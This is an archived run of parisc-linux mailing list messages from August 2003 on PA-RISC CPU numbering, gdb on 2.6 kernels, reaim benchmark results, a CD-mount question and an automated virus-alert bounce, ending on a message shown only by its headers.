X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Mon, 25 Aug 2003 10:45:53 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030825164553.GB28778@dsl2.external.hp.com>
References: <3F2E2C7700004E38@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622721 30049 80.91.229.3 (22 Nov 2014 02:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 10:45:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E84574831; Mon, 25 Aug 2003 10:45:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F2E2C7700004E38@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19332

On Mon, Aug 25, 2003 at 12:03:20PM +0200, Joel Soete wrote:
> So I would like to study now the early boot process
> (specialy for the second cpu) to try to understand how caches (for shared
> insn and data) are replicated into other CPU's [id]tlb.

The additional CPUs just reference (ie load) the shared data using
the same address. AFAIK, a cacheline will get loaded as "shared clean"
until someone writes to it - which is when the cacheline ping-pong
starts.

> Can you tell me more: in a previous piminfo collected I got for CPU#3 (3
> is the "address" of the second cpu)

PAT PDC (L-/N-class and A500) have hard coded numbers for CPUs.
parisc-linux only uses logical CPU numbers to avoid sparsely populated
arrays. parisc-linux can get the "Physical CPU #" from PAT PDC.
See code inside USE_PAT_CPUID in arch/parisc/kernel/processor.c.
You might hack that code a bit so you can correlate logic to physical
CPU numbers.

grant


From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: 25 Aug 2003 11:50:45 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1061830247.2044.165.camel@mulgrave>
References: <3F2E2C7700004E38@ocpmta2.freegates.net> 
	<20030825164553.GB28778@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622721 30053 80.91.229.3 (22 Nov 2014 02:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:41 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 10:50:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F71048B7
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 10:50:58 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7PGokI31194;
	Mon, 25 Aug 2003 12:50:46 -0400
In-Reply-To: <20030825164553.GB28778@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19333

On Mon, 2003-08-25 at 11:45, Grant Grundler wrote:
> PAT PDC (L-/N-class and A500) have hard coded numbers for CPUs.
> parisc-linux only uses logical CPU numbers to avoid sparsely populated
> arrays. parisc-linux can get the "Physical CPU #" from PAT PDC.
> See code inside USE_PAT_CPUID in arch/parisc/kernel/processor.c.
> You might hack that code a bit so you can correlate logic to physical
> CPU numbers.

Not for 2.6 we shouldn't.  The beginnings of the hotplug CPU API made
logical CPU numbers deprecated (even for x86, which was the worst
logical vs phsyical number abuser).  We need to move entirely to
physical numbers only for 2.6

James




From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: postmaster@dimat.unipv.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VIRUS IN YOUR MAIL
Date: Mon, 25 Aug 2003 18:52:28 +0200 (MET DST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200308251652.h7PGqSN03845@dimat.unipv.it>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622722 30054 80.91.229.3 (22 Nov 2014 02:18:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 10:52:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dimat.unipv.it (dimat.unipv.it [193.204.39.159])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C99648C0
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 10:52:29 -0600 (MDT)
Original-Received: (from root@localhost)
	by dimat.unipv.it (8.11.6+Sun/8.11.6) id h7PGqSN03845;
	Mon, 25 Aug 2003 18:52:28 +0200 (MET DST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19334

                           V I R U S  A L E R T

Our viruschecker found the

	'W32/Sobig-F'

virus(es) in your email to the following recipient(s):

-> ulisse@dimat.unipv.it

Please check your system for viruses, or ask your system administrator
to do so.

As some viruses can send themselves using fake email addresses it is possible
that you did not send it. If so please ignore this notification.

For your reference, here are the headers from your email:

------------------------- BEGIN HEADERS -----------------------------
Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from KOS5 ([62.58.168.62])
	by dimat.unipv.it (8.11.6+Sun/8.11.6) with ESMTP id h7PGpEs03830
	for <ulisse@dimat.unipv.it>; Mon, 25 Aug 2003 18:51:23 +0200 (MET DST)
From: parisc-linux@lists.parisc-linux.org
Message-Id: <200308251651.h7PGpEs03830@dimat.unipv.it>
To: <ulisse@dimat.unipv.it>
Subject: Re: Re: My details
Date: Mon, 25 Aug 2003 18:50:00 +0200
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_001B0665"
-------------------------- END HEADERS ------------------------------



From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gdb and 2.6 kernel
Date: Mon, 25 Aug 2003 10:13:30 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20030825171330.GN21328@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622722 30057 80.91.229.3 (22 Nov 2014 02:18:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 11:09:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0CF448C8
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 11:09:49 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 902A1CD365; Mon, 25 Aug 2003 10:13:30 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19335

I noticed that gdb breakpoints don't seem to work when running a 2.6
kernel.... do other people see this problem too?

I guess it might be a icache flushing problem, but I don't see why 2.6
will be different from 2.4. Does anybody have some time to look into
this?

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Mon, 25 Aug 2003 19:26:17 +0200
Lines: 116
Approved: news@gmane.org
Message-ID: <3F2E2C770000510F@ocpmta2.freegates.net>
References: <20030823192834.GC5072@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622722 30060 80.91.229.3 (22 Nov 2014 02:18:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:42 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 11:26:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33BF448D7
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 11:26:22 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19rL2m-0008F1-00; Mon, 25 Aug 2003 19:22:16 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 25 Aug 2003 19:26:17 +0200
In-Reply-To: <20030823192834.GC5072@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19336

Well sorry for delay but here are some results with reaim:

** without itlb patch:
palx4000:# ./reaim -s25 -i25 -e300 -t -f workfile.new_dbase  

REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
25      169.01   53.58   110.99  914.15     36.57      4.14     2.51    
97   
50      325.85   100.05  218.86  948.29     18.97      8.06     2.54    
97   
75      490.89   155.85  326.41  944.20     12.59      15.25    3.21    
96   
100     651.37   207.02  434.83  948.77     9.49       21.20    3.37    
96   
125     812.15   259.13  542.80  951.18     7.61       24.58    3.13    
96   
150     971.88   308.85  651.77  953.82     6.36       31.30    3.33    
96   
175     1136.93  367.07  758.72  951.25     5.44       34.87    3.16    
96   
200     1295.63  416.43  867.37  953.98     4.77       41.33    3.30    
96   
225     1456.38  464.97  977.89  954.76     4.24       48.11    3.42    
96   
250     1626.22  526.17  1086.14 950.06     3.80       52.59    3.34    
96   
275     1771.56  563.64  1192.66 959.32     3.49       52.07    3.04    
96   
300     1943.16  626.54  1301.12 954.12     3.18       58.82    3.13    
96   
Max Jobs per Minute 959.32

** With itlb patch

palx4000:/usr/src/work/Bench/osdl-aim-7/src# ./reaim -s25 -i25 -e300 -t -f
workfile.new_dbase -r2                     

REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
25      169.10   54.33   110.57  913.66     36.55      4.87     2.96    
97   
50      333.73   107.53  218.98  925.90     18.52      10.96    3.40    
96   
75      496.19   160.85  326.81  934.12     12.45      14.36    2.98    
97   
100     647.24   202.66  435.30  954.82     9.55       18.62    2.97    
97   
125     811.55   258.77  543.35  951.88     7.62       27.05    3.45    
96   
150     974.62   312.28  650.87  951.14     6.34       30.33    3.21    
96   
175     1136.86  364.74  760.01  951.30     5.44       36.03    3.27    
96   
200     1305.43  426.45  865.77  946.81     4.73       41.49    3.28    
96   
225     1465.96  475.20  977.01  948.53     4.22       45.79    3.23    
96   
250     1625.77  526.57  1083.94 950.32     3.80       53.29    3.39    
96   
275     1785.44  578.00  1191.64 951.87     3.46       57.40    3.32    
96   
300     1952.36  635.80  1299.95 949.62     3.17       57.21    3.02    
96   
Max Jobs per Minute 954.82
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
25      169.98   54.46   111.16  908.93     36.36      6.15     3.73    
96   
50      331.44   104.88  219.30  932.30     18.65      10.53    3.29    
96   
75      493.99   156.05  328.53  938.28     12.51      13.40    2.79    
97   
100     653.11   209.79  434.23  946.24     9.46       21.99    3.48    
96   
125     814.31   262.08  542.37  948.66     7.59       27.24    3.46    
96   
150     981.09   317.95  651.39  944.87     6.30       29.74    3.13    
96   
175     1137.42  364.84  760.67  950.84     5.43       36.31    3.30    
96   
200     1295.86  415.52  866.98  953.81     4.77       39.21    3.12    
96   
225     1463.61  472.96  977.13  950.05     4.22       44.79    3.16    
96   
250     1617.00  517.55  1084.14 955.47     3.82       49.42    3.15    
96   
275     1791.29  581.68  1193.78 948.76     3.45       57.33    3.31    
96   
300     1942.85  624.79  1302.10 954.27     3.18       59.52    3.16    
96   
Max Jobs per Minute 955.47

Now that I find what seems reasonable parameters (?) I would try to reboot
the system tomorrow morning and relaunch test with itlb patch (just to confirm
results).

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD Not Mounted
Date: Mon, 25 Aug 2003 19:59:14 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622723 30064 80.91.229.3 (22 Nov 2014 02:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:00:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 45EA94895
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 13:00:29 -0600 (MDT)
Original-Received: (qmail 90872 invoked by uid 2525); 25 Aug 2003 18:59:14 -0000
Original-Received: from 80.40.24.125 ( [80.40.24.125])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Mon, 25 Aug 2003 19:59:14 +0100
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.24.125
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19337

when booting from the cd i am unable to mount the cd for use... i have read 
some where about this prblem if i am using verbose mode? is this correct if so 
how do i get round it. Thanks



-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Mon, 25 Aug 2003 13:19:15 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20030825191915.GA377@dsl2.external.hp.com>
References: <3F2E2C7700004E38@ocpmta2.freegates.net> <20030825164553.GB28778@dsl2.external.hp.com> <1061830247.2044.165.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622723 30069 80.91.229.3 (22 Nov 2014 02:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:43 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:19:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 28CCE48B5; Mon, 25 Aug 2003 13:19:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1061830247.2044.165.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19338

On Mon, Aug 25, 2003 at 11:50:45AM -0500, James Bottomley wrote:
> Not for 2.6 we shouldn't.

My intent was not to commit the code, but just get debugging working.

> The beginnings of the hotplug CPU API made
> logical CPU numbers deprecated (even for x86, which was the worst
> logical vs phsyical number abuser).  We need to move entirely to
> physical numbers only for 2.6

That's not technically possible.
PARISC firmware uses the HPA to reference specific devices (including CPU).

We can use the same CPU number as PAT PDC and call them "physical".
But systems which don't have PAT PDC can only use arbitrary numbers
assigned by the parisc-linux startup code. Maybe there is a way to
make the numbers match PIM info output but I'm not sure how.

hth,
grant


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Not Mounted
Date: Mon, 25 Aug 2003 13:31:49 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030825193149.GC377@dsl2.external.hp.com>
References: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622723 30071 80.91.229.3 (22 Nov 2014 02:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:31:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EC15A4865; Mon, 25 Aug 2003 13:31:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19339

On Mon, Aug 25, 2003 at 07:59:14PM +0100, mmogenius@v8fiesta.co.uk wrote:
> when booting from the cd i am unable to mount the cd for use...

Need to know which model parisc box you have and which model CD ROM.

> i have read some where about this prblem if i am using verbose mode?

Where did you read this? (ie post a URL)

> is this correct if so 
> how do i get round it. Thanks


grant


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Not Mounted
Date: Mon, 25 Aug 2003 20:38:34 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <1061840314.3f4a65ba7293e@webmail.v8fiesta.co.uk>
References: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk> <20030825193149.GC377@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622724 30075 80.91.229.3 (22 Nov 2014 02:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:44 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 13:41:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7F5DB48F0; Mon, 25 Aug 2003 13:41:34 -0600 (MDT)
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 6439248F0
	for <grundler@parisc-linux.org>; Mon, 25 Aug 2003 13:39:44 -0600 (MDT)
Original-Received: (qmail 94548 invoked by uid 2525); 25 Aug 2003 19:38:34 -0000
Original-Received: from 80.40.43.126 ( [80.40.43.126])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Mon, 25 Aug 2003 20:38:34 +0100
In-Reply-To: <20030825193149.GC377@dsl2.external.hp.com>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.43.126
Resent-From: grundler@dsl2.external.hp.com
Resent-Date: Mon, 25 Aug 2003 13:41:34 -0600
Resent-To: parisc-linux@lists.parisc-linux.org
